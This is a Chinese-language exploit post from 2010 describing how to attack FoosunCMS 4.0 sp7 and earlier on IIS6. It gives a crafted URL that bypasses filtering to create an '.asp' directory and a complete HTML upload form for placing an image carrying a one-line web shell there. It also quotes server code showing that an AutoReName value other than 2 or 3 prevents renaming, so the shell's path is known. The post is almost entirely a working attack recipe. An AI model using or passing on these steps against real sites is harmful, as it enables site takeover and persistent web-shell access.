发布日期:2010-03-14 发布作者:bloodsword、bink 影响版本:<=4.0 sp7 利用条件,开启了文件上传功能,iis6环境。 漏洞描述:建立目录的地方,名称过滤上有失误,导致可以绕过过滤建立一个.asp目录 首先注册个账号访问
http://www.r0exper.net/User/CommPages/FolderImageList.asp?f_UserNumber=06150583700&Type=AddFolder&Path=/userfiles/06150583700/aaa.asp//&CurrPath=/userfiles/06150583700
其中这个06150583700是你的userid,登录了直接可以看到,建立一个.asp目录。因为风讯浏览目录的地方也过滤了.,所以建立的子目录进不去。本地构造表单:
<form name="FileForm" method="post" enctype="multipart/form-data" action="http://www.bbb.com/User/Commpages/UpFileSave.asp?Path=/userfiles/06150583700/aaa.asp"> <input type="hidden" name="AutoReName" value="2"><br> <input type="hidden" name="Path" value="/userfiles/06150583700/aaa.asp"> <input type="file" size="20" name="File1"> <input type="hidden" name="FilesNum" value="1"> <input type="submit" id="BtnSubmit" name="Submit" value=" 确 定 "> <input type="reset" id="ResetForm" name="Submit3" value=" 重 填 "> </form>
传个夹带一句话的图片上去 恶心的地方来了,传上去的文件名是日期+时间+5位随机数(可能是4位3位2位1位,反正最大5位),这个我跟bink研究了半天,没有办法看到-_-,用管中窥豹有个暴力猜接上传路径的功能,先在正常目录里上传个文件,卡一下本地跟远程的时间差,然后传到.asp目录里,把秒数误差控制在3秒以内,开始跑吧~~然后自己该干嘛干嘛去,RP过关的话几个小时内应该能出结果-_-
刚才经过来自垂死黑客的BK群的WhyTt大黑客指点,才发现,根本不需要爆跑路径。
看/User/CommPages/UpFileSave.asp代码
Copy code'If AutoNameType = "1" Then 'FileName = FilePath & "副件" & FileName If AutoNameType = "2" Then 'FileName = FilePath & "1" & FileName FileName = FilePath & Year(Now())&"_"&Right("0"&Month(Now()),2)&"_"&Right("0"&Day(Now()),2)&"_"&Right("0"&Hour(Now()),2)&"_"&Right("0"&Minute(Now()),2)&"_"&Right("0"&Second(Now()),2)&RandomFigure&"."&FileExtName Elseif AutoNameType = "3" Then FileName = FilePath & Year(Now())&Right("0"&Month(Now()),2)&Right("0"&Day(Now()),2)&Right("0"&Hour(Now()),2)&Right("0"&Minute(Now()),2)&Right("0"&Second(Now()),2)&RandomFigure&"."&FileExtName Else FileName = FilePath&FileName End If UpFileObj.File(FormNameItem).SaveToFile FileName
这个地方我一开始没注意去看,其中这个AutoNameType是从表单里的AutoRename取的,只要不是2或者3,文件就不会被自动重命名,这样把一开始构造表单里的AutoReName改成随便另外个数字,就不会被改名了,未实际测试,从代码上来看应该是没有问题的。再次感谢资深大黑客WhyTt的指点~~
|